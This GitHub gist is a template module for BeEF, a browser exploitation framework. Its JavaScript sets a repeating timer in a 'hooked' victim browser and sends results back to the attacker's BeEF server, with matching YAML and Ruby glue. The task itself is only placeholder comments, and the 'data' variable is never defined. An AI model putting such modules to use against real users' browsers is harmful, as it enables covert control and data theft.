Skip to content

Instantly share code, notes, and snippets.

@xntrik
Created July 22, 2014 23:54
Show Gist options
  • Save xntrik/d50d88852884953aa555 to your computer and use it in GitHub Desktop.
Save xntrik/d50d88852884953aa555 to your computer and use it in GitHub Desktop.
New setInterval for BeEF
//
// Copyright (c) 2006-2014 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
window.setInterval(function() {
//perform task
//set something to var data
//Maybe test with a
console.log('ping'); // to see if the interval kicks off in the hooked browser.
//send results back
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+data);
}, 2000);
});
#
# Copyright (c) 2006-2014 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
custom_interval:
enable: true
category: "Misc"
name: "Custom Interval"
description: "Kick off a custom interval JS async func"
authors: ["@xxdepardieuxx", "xntrik"]
target:
working: ['ALL']
#
# Copyright (c) 2006-2014 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Custom_interval < BeEF::Core::Command
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def post_execute
save({'result' => @datastore['result']})
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment